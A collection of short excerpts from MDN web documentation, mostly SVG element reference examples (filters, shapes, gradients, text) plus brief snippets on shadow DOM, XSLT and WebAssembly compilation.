example svg <svg width="100%" height="100%" viewbox="0 0 150 500" preserveaspectratio="xmidymid meet" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- ref --> <defs> <g id="circles"> <circle cx="30" cy="30" r="20" fill="blue" fill-opacity="0.5" /> <circle cx="20" cy="50" r="20" fill="green" fill-opacity="0.5" /> <circle cx="40" cy="50" r="20" fill="red" fill-opacity="0.5" /> </g> </defs> <use href="#circles" /> <text x="70" y="50">re...
<feComponentTransfer> - SVG: Scalable Vector Graphics
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 600 300"> <defs> <lineargradient id="rainbow" gradientunits="userspaceonuse" x1="0" y1="0" x2="100%" y2="0"> <stop offset="0" stop-color="#ff0000"></stop> <stop offset="0.2" stop-color="#ffff00"></stop> <stop offset="0.4" stop-color="#00ff00"></stop> <stop offset="0.6" stop-color="#00ffff"></stop> <stop offset="0.8" stop-colo...
<feComposite> - SVG: Scalable Vector Graphics
example svg <svg width="330" height="195" viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the background.</desc> <defs> <desc>define two sets of six filters for eac...
<feConvolveMatrix> - SVG: Scalable Vector Graphics
example svg <svg width="200" height="200" viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="emboss"> <feconvolvematrix kernelmatrix="3 0 0 0 0 0 0 0 -3"/> </filter> </defs> <image xlink:href="/files/12668/mdn.svg" x="0" y="0" height="200" width="200" style="filter:url(#emboss);" /> </svg> result specifications ...
<feDiffuseLighting> - SVG: Scalable Vector Graphics
<svg width="440" height="140" xmlns="http://www.w3.org/2000/svg"> <!-- no light is applied --> <text text-anchor="middle" x="60" y="22">no light</text> <circle cx="60" cy="80" r="50" fill="green" /> <!-- the light source is a fepointlight element --> <text text-anchor="middle" x="170" y="22">fepointlight</text> <filter id="lightme1"> <fediffuselighting in="sourcegraphic" result="light" lighting-color="white"> ...
<feDisplacementMap> - SVG: Scalable Vector Graphics
example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specific...
<feDropShadow> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="shadow"> <fedropshadow dx="0.2" dy="0.4" stddeviation="0.2"/> </filter> <filter id="shadow2"> <fedropshadow dx="0" dy="0" stddeviation="0.5" flood-color="cyan"/> </filter> <filter id="shadow3"> <fedropshadow dx="-0.8" dy="-0.8" stddeviation="0" flood-color="pink" flood-opacity="0.5"/> </filter> </defs> <circle cx="5" cy="50%" r="4" style="fill:pink; filter:url(#sh...
<feFlood> - SVG: Scalable Vector Graphics
WebSVGElementfeFlood
example html content <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"> <defs> <filter id="floodfilter" filterunits="userspaceonuse"> <feflood x="50" y="50" width="100" height="100" flood-color="green" flood-opacity="0.5"/> </filter> </defs> <use style="filter: url(#floodfilter);"/> </svg> result specifications specification status comment filter effects m...
<feImage> - SVG: Scalable Vector Graphics
WebSVGElementfeImage
example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xlink:href="/files/6457/mdn_logo_only_color.png"/> </filter> </defs> <rect x="10%" y="10%" width="80%" height="80%" style="filter:url(#image);"/> </svg> result specifications specification status comment filter effects module level ...
<feMerge> - SVG: Scalable Vector Graphics
WebSVGElementfeMerge
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<femergenode> example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: gree...
<feMergeNode> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> example <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <filter id="feoffset" x="-40" y="-20" width="100" height="200"> <feoffset in="sourcegraphic" dx="60" dy="60" /> <fegaussianblur in="sourcegraphic" stddeviation="5" result="blur2" /> <femerge> <femergenode in="blur2" /> <femergenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter: url(#feoffset);" /> <...
<feOffset> - SVG: Scalable Vector Graphics
WebSVGElementfeOffset
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <filter id="offset" width="180" height="180"> <feoffset in="sourcegraphic" dx="60" dy="60" /> </filter> </defs> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green"/> <rect x="0" y="0" width="100" height="100" stroke="black" fill="green" filter="url(#offset)"/> </svg> result specifications specification statu...
<fePointLight> - SVG: Scalable Vector Graphics
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <fespecularlighting result="spotlight" specularconstant="1.5" specularexponent="80" lighting-color="#fff"> <fepointlight x="50" y="50" z="220"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="arithmetic" k1="0" k...
<feSpecularLighting> - SVG: Scalable Vector Graphics
example <svg height="200" width="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id = "filter"> <fespecularlighting result="specout" specularexponent="20" lighting-color="#bbbbbb"> <fepointlight x="50" y="75" z="200"/> </fespecularlighting> <fecomposite in="sourcegraphic" in2="specout" operator="arithmetic" k1="0" k2="1" k3="1" k4="0"/> </filter> <circle cx="110" cy="110" r="100" style="filter:url(#filter...
<feSpotLight> - SVG: Scalable Vector Graphics
example html content <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="spotlight"> <fespecularlighting result="spotlight" specularconstant="1.5" specularexponent="4" lighting-color="#fff"> <fespotlight x="600" y="600" z="400" limitingconeangle="5.5" /> </fespecularlighting> <fecomposite in="sourcegraphic" in2="spotlight" operator="out" ...
<feTile> - SVG: Scalable Vector Graphics
WebSVGElementfeTile
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="tile" x="0" y="0" width="100%" height="100%"> <fetile in="sourcegraphic" x="50" y="50" width="100" height="100" /> <fetile/> </filter> </defs> <image xlink:href="/files/6457/mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%" style="filter:url(#t...
<feTurbulence> - SVG: Scalable Vector Graphics
example <svg width="200" height="200" viewbox="0 0 220 220" xmlns="http://www.w3.org/2000/svg"> <filter id="displacementfilter"> <feturbulence type="turbulence" basefrequency="0.05" numoctaves="2" result="turbulence"/> <fedisplacementmap in2="turbulence" in="sourcegraphic" scale="50" xchannelselector="r" ychannelselector="g"/> </filter> <circle cx="100" cy="100" r="100" style="filter: url(#displacementfilter)"/> </svg> specific...
<filter> - SVG: Scalable Vector Graphics
WebSVGElementfilter
example svg <svg width="230" height="120" xmlns="http://www.w3.org/2000/svg"> <filter id="blurme"> <fegaussianblur stddeviation="5"/> </filter> <circle cx="60" cy="60" r="50" fill="green" /> <circle cx="170" cy="60" r="50" fill="green" filter="url(#blurme)" /> </svg> result screenshotlive sample specifications specification status comment filter effects module level 1the definition of '<filter>' in ...
<foreignObject> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <style> div { color: white; font: 18px serif; height: 100%; overflow: auto; } </style> <polygon points="5,5 195,10 185,185 10,195" /> <!-- common use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem ipsum dolor sit amet, consectetur adipiscing...
<g> - SVG: Scalable Vector Graphics
WebSVGElementg
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- using g to inherit presentation attributes --> <g fill="white" stroke="green" stroke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensio...
<glyph> - SVG: Scalable Vector Graphics
WebSVGElementglyph
example svg <svg width="400px" height="300px" version="1.1" xmlns="http://www.w3.org/2000/svg"> <!-- example copied from https://www.w3.org/tr/svg/fonts.html#glyphelement --> <defs> <font id="font1" horiz-adv-x="1000"> <font-face font-family="super sans" font-weight="bold" font-style="normal" units-per-em="1000" cap-height="600" x-height="400" ascent="700" descent="300" alphabetic="0" mathematical="350" ideographic="400" han...
<hatch> - SVG: Scalable Vector Graphics
WebSVGElementhatch
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<hatchpath> - SVG: Scalable Vector Graphics
WebSVGElementhatchpath
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<image> - SVG: Scalable Vector Graphics
WebSVGElementimage
example basic rendering of a png image in svg: svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<image>' in that specification.
<line> - SVG: Scalable Vector Graphics
WebSVGElementline
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> <!-- if you do not specify the stroke color the line will not be visible --> </svg> attributes x1 defines the x-axis coordinate of the line starting point.
<linearGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes gradientunits this attribute defines the coordinate system for...
<marker> - SVG: Scalable Vector Graphics
WebSVGElementmarker
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <defs> <!-- arrowhead marker definition --> <marker id="arrow" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="6" markerheight="6" orient="auto-start-reverse"> <path d="m 0 0 l 10 5 l 0 10 z" /> </marker> <!-- simple dot marker definition --> <marker id="dot" viewbox="0 0 10 10" refx="5" refy="5" markerwidth="5" markerheight="5"> <circle cx="5" cy="5" r="5" fill="red" /> </marker> ...
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
example <svg width="400" viewbox="0 0 400 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <metadata> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:connect="http://www.w3.org/1999/08/29-svg-connections-in-rdf#"> <rdf:description about="#cablea"> <connect:ends rdf:resource="#socket1"/> <connect:ends rdf:resource="#computera"/> </rdf:description> ...
<mpath> - SVG: Scalable Vector Graphics
WebSVGElementmpath
example svg <svg width="100%" height="100%" viewbox="0 0 500 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" > <rect x="1" y="1" width="498" height="298" fill="none" stroke="blue" stroke-width="2" /> <!-- draw the outline of the motion path in blue, along with three small circles at the start, middle and end.
<path> - SVG: Scalable Vector Graphics
WebSVGElementpath
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg> attributes d this attribute defines the shape of the path.
<pattern> - SVG: Scalable Vector Graphics
WebSVGElementpattern
html,body,svg { height:100% } <svg viewbox="0 0 230 100" xmlns="http://www.w3.org/2000/svg"> <defs> <pattern id="star" viewbox="0,0,10,10" width="10%" height="10%"> <polygon points="0,0 2,5 0,10 5,8 10,10 8,5 10,0 5,2"/> </pattern> </defs> <circle cx="50" cy="50" r="50" fill="url(#star)"/> <circle cx="180" cy="50" r="40" fill="none" stroke-width="20" stroke="url(#star)"/> </svg> attributes height this attribute determines the height of the pattern tile.
<polygon> - SVG: Scalable Vector Graphics
WebSVGElementpolygon
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polygon with the default fill --> <polygon points="0,100 50,25 50,75 100,0" /> <!-- example of the same polygon shape with stroke and no fill --> <polygon points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polygon.
<polyline> - SVG: Scalable Vector Graphics
WebSVGElementpolyline
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polyline with the default fill --> <polyline points="0,100 50,25 50,75 100,0" /> <!-- example of the same polyline shape with stroke and no fill --> <polyline points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polyline value type: <number>+ ; default...
<radialGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="mygradient"> <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient.
<rect> - SVG: Scalable Vector Graphics
WebSVGElementrect
html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple rectangle --> <rect width="100" height="100" /> <!-- rounded corner rectangle --> <rect x="120" width="100" height="100" rx="15" /> </svg> attributes x the x coordinate of the rect.
<script> - SVG: Scalable Vector Graphics
WebSVGElementscript
while svg's script element is equivalent to the html <script> element, it has some discrepancies, like it uses the href attribute instead of src and it doesn't support ecmascript modules so far (see browser compatibility below for details) html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <script> // <![cdata[ window.addeventlistener('domcontentloaded', () => { function getcolor () { const r = math.round(math.random() * 255).tostring(16).padstart(2,'0') const g = math.round(math.random() * 255).tostring(16).padstart(2,'0') const b = math.round(math.random() * 255).tostring(16).padstart(2,'0') return `#${r}${g}${b}` } document.queryse...
<set> - SVG: Scalable Vector Graphics
WebSVGElementset
html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> rect { cursor: pointer } .round { rx: 5px; fill: green; } </style> <rect id="me" width="10" height="10"> <set attributename="class" to="round" begin="me.click" dur="2s" /> </rect> </svg> attributes to this attribute defines the value to be applied to the target attribute for the duration of the animation.
<solidcolor> - SVG: Scalable Vector Graphics
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 300 200" height="150"> <defs> <!-- solidcolor is experimental.
<stop> - SVG: Scalable Vector Graphics
WebSVGElementstop
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes offset this attribute defines where the gradient stop is placed along the gradient vector.
<style> - SVG: Scalable Vector Graphics
WebSVGElementstyle
html,body,svg { height:100%; margin: 0; padding: 0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> circle { fill: gold; stroke: maroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg> attributes type this attribute defines type of the style sheet language to use as a media type string.
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> <svg viewbox="0 0 10 10" x="200" width="100"> <circle cx="5" cy="5" r="4" /> </svg> </svg> attributes baseprofile deprecated since svg 2 the minimum svg language profile that the document requires.
<symbol> - SVG: Scalable Vector Graphics
WebSVGElementsymbol
html,body,svg { height:100% } <svg viewbox="0 0 80 20" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- our symbol in its own coordinate system --> <symbol id="mydot" width="10" height="10" viewbox="0 0 2 2"> <circle cx="1" cy="1" r="1" /> </symbol> <!-- a grid to materialize our symbol positioning --> <path d="m0,10 h80 m10,0 v20 m25,0 v20 m40,0 v20 m55,0 v20 m70,0 v20" fill="none" stroke="pink" /> <!
<text> - SVG: Scalable Vector Graphics
WebSVGElementtext
html,body,svg { height:100% } <svg viewbox="0 0 240 80" xmlns="http://www.w3.org/2000/svg"> <style> .small { font: italic 13px sans-serif; } .heavy { font: bold 30px sans-serif; } /* note that the color of the text is set with the * * fill property, the color property is for html only */ .rrrrr { font: italic 40px serif; fill: red; } </style> <text x="20" y="35" class="small">my</text> <text x="40" y="35" class="heavy">cat</text>...
<textPath> - SVG: Scalable Vector Graphics
WebSVGElementtextPath
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- to hide the path, it is usually wrapped in a <defs> element --> <!-- <defs> --> <path id="mypath" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <!-- </defs> --> <text> <textpath href="#mypath"> quick brown fox jumps over the lazy dog.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <title>i'm a circle</title> </circle> <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document ele...
<tref> - SVG: Scalable Vector Graphics
WebSVGElementtref
example <svg width="100%" height="100%" viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <text id="referencedtext"> referenced character data </text> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect' element...
<tspan> - SVG: Scalable Vector Graphics
WebSVGElementtspan
html,body,svg { height:100% } <svg viewbox="0 0 240 40" xmlns="http://www.w3.org/2000/svg"> <style> text { font: italic 12px serif; } tspan { font: bold 10px sans-serif; fill: red; } </style> <text x="10" y="30" class="small"> you are <tspan>not</tspan> a banana!
<use> - SVG: Scalable Vector Graphics
WebSVGElementuse
html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <circle id="mycircle" cx="5" cy="5" r="4" stroke="blue"/> <use href="#mycircle" x="10" fill="blue"/> <use href="#mycircle" x="20" fill="white" stroke="red"/> <!-- stroke="red" will be ignored here, as stroke was already set on mycircle.
<view> - SVG: Scalable Vector Graphics
WebSVGElementview
ge context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes aria attributes » core attributes » global event attributes » externalresourcesrequired specific attributes viewbox preserveaspectratio zoomandpan viewtarget example svg <svg width="600" height="200" viewbox="0 0 600 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="gradient"> <stop offset="0%" stop-color="#8cffa0" /> <stop offset="100%" stop-color="#8ca0ff" /> </radialgradient> </defs> <circle r="50" cx="180" cy="50" style="fill:url(#gradient)"/> <view id="halfsizeview" viewbox="0 0 1200 400"/> <view id="normalsizeview" viewbox="...
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
380 server configuration svg see http://wiki.svg.org/server_configuration 381 sizing svg this page was auto-generated because a user created a sub-page to this page.
Other Resources - SVG: Scalable Vector Graphics
here is a list of additional resources on svg: mozilla svg resources svg.org svgbasics tutorials w3c svg homepage svg wiki http://wiki.svg.org/index.php?title=..._configuration i moved this from the other resources category, not sure why it's in other resources -nickolay http://developer.mozilla.org/en/docs...%28external%29 ...
SVG animation with SMIL - SVG: Scalable Vector Graphics
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="100"> <title>svg smil animate with path</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="3s" repeatcount="indefinite" /> </circle> </svg> view live sample example 2: curved...
Scripting - SVG: Scalable Vector Graphics
WebSVGScripting
function myrect(x,y,w,h,message){ this.message=message this.rect=document.createelementns("http://www.w3.org/2000/svg","rect") this.rect.setattributens(null,"x",x) this.rect.setattributens(null,"y",y) this.rect.setattributens(null,"width",w) this.rect.setattributens(null,"height",h) document.documentelement.appendchild(this.rect) this.rect.addeventlistener("click",this,false) this.handleevent= function(evt){ switch (evt.type){ case "click": alert(this.message) br...
Server Configuration - SVG: Scalable Vector Graphics
see http://wiki.svg.org/server_configuration ...
Basic shapes - SVG: Scalable Vector Graphics
the code to generate that looks something like: <?xml version="1.0" standalone="no"?> <svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/> <rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/> <circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-width="5"/> <ellipse cx="75" cy="75" rx="20" ry="5" stroke="red" fill="transparent" str...
Basic Transformations - SVG: Scalable Vector Graphics
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"> <svg width="100" height="100" viewbox="0 0 50 50"> <rect width="50" height="50" /> </svg> </svg> the example above has basically the same effect as the one above, namely that the rect will be twice as large as specified.
Filter effects - SVG: Scalable Vector Graphics
<svg width="250" viewbox="0 0 200 85" xmlns="http://www.w3.org/2000/svg" version="1.1"> <defs> <!-- filter declaration --> <filter id="myfilter" filterunits="userspaceonuse" x="0" y="0" width="200" height="120"> <!-- offsetblur --> <fegaussianblur in="sourcealpha" stddeviation="4" result="blur"/> <feoffset in="blur" dx="4" dy="4" result="offsetblur"/> <!-- litpaint --> <fespecular...
Other content in SVG - SVG: Scalable Vector Graphics
this means, that you can use clips, masks, filters, rotations and all other tools of svg on the content: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <image x="90" y="-65" width="128" height="146" transform="rotate(45)" xlink:href="https://developer.mozilla.org/static/img/favicon144.png"/> </svg> screenshotlive sample embedding arbitrary xml since svg is an xml application, you can of course always embed arbitrary xml anywhere in an svg ...
Patterns - SVG: Scalable Vector Graphics
WebSVGTutorialPatterns
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient1"> <stop offset="5%" stop-color="white"/> <stop offset="95%" stop-color="blue"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="5%" stop-color="red"/> <stop offset="95%" stop-color="orange"/> </lineargradient> <pattern id="pattern" x="0" y="0" width=".25" height=".25"> <rect x="0" y="0" ...
SVG image element - SVG: Scalable Vector Graphics
in this basic example, a .jpg image referenced by an href attribute will be rendered inside an svg object: <?xml version="1.0" standalone="no"?> <!doctype svg public "-//w3c//dtd svg 1.1//en" "http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd"> <svg width="5cm" height="4cm" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="firefox.jpg" x="0" y="0" height="50px" width="50px"/> </svg> there are some important things to take note of (referenced from the w3 specs): if you do not set the x or y attributes, they will be set to 0.
SVG In HTML Introduction - SVG: Scalable Vector Graphics
like in the following example: var img = document.createelementns("http://www.w3.org/2000/svg", "image"); img.setattributens("http://www.w3.org/1999/xlink", "xlink:href", "move.png"); details the viewbox attribute establishes a logical coordinate system which the svg picture's coordinates are relative to.
Features restricted to secure contexts - Web security
web crypto api has been restricted to https since early days (api was visible in http as well but operations failed).
Using shadow DOM - Web Components
consider the following html fragment: <!doctype html> <html> <head> <meta charset="utf-8"> <title>simple dom example</title> </head> <body> <section> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> <p>here we will add a link to the <a href="https://www.mozilla.org/">mozilla homepage</a></p> </section> </body> </html> this fragment produces the following dom structure: shadow dom allows hidden dom trees to be attached to elements in the regular dom tree — this shadow dom tree starts with a shadow root, underneath which can be attached to any elements you want, in the same way as the normal dom.
XPath snippets - XPath
if you are using xmlhttprequest to read a local or remote xml file into a dom tree (as described in parsing and serializing xml), the first argument to evaluatexpath() should be req.responsexml.
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
namespace the xslt 1.0 namespace is http://www.w3.org/1999/xsl/transform.
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
examples set the parameter 'books' to a nodeset containing all <book> elements in the 'http://www.example.org/mynamespace' namespace: <?xslt-param-namespace prefix="my" namespace="http://www.example.org/mynamespace"?> <?xslt-param name="books" select="//my:book"?> supported versions supported as of firefox 2.0.0.1.
Web technology for developers
accessibilitycss houdinicss: cascading style sheetsdemos of open web technologiesdeveloper guidesexsltevent referencehtml: hypertext markup languagehttpjavascriptmathmlopensearch description formatprivacy, permissions, and information securityprogressive web apps (pwas)svg: scalable vector graphicstutorialsweb apisweb componentsweb performanceweb app manifestsweb media technologiesweb securityweb technology referencexml: extensible markup languagexpathxslt: extensible stylesheet language transformations ...
WebAssembly Concepts - WebAssembly
you can check its documentation on https://assemblyscript.org/.
Index - WebAssembly
8 index index, webassembly found 12 pages: 9 loading and running webassembly code fetch, javascript, webassembly, xmlhttprequest, bytecode to use webassembly in javascript, you first need to pull your module into memory before compilation/instantiation.
Converting WebAssembly text format to wasm - WebAssembly
go to https://github.com/webassembly/wabt — follow the instructions on this page to set up the tool.
Compiling an Existing C Module to WebAssembly - WebAssembly
$ git clone https://github.com/webmproject/libwebp to start off simple, expose webpgetencoderversion() from encode.h to javascript by writing a c file called webp.c: #include "emscripten.h" #include "src/webp/encode.h" emscripten_keepalive int version() { return webpgetencoderversion(); } this is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require a...
WebAssembly
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.